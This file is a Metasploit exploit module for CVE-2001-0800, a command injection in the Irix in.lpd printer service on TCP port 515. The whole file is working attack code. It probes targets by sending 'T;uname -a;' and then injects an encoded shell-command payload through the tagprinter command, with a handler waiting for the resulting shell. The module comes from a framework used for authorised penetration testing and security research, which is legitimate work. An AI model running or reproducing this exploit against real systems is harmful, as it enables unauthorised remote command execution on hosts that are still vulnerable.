##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Irix LPD tagprinter Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution flaw in
        the in.lpd service shipped with all versions of Irix.
      },
      'Author'         => [ 'optyx', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2001-0800'],
          ['OSVDB', '8573']
        ],
      'Privileged'     => false,
      'Platform'       => %w{ irix unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 512,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DisclosureDate' => '2001-09-01',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(515)
      ])
  end

  def check
    connect
    sock.put("T;uname -a;\n")
    resp = sock.get_once
    disconnect

    if (resp =~ /IRIX/)
      vprint_status("Response: #{resp.strip}")
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    sock.put("T;#{payload.encoded};\n")
    handler
    print_status("Payload: #{payload.encoded}")
  end
end
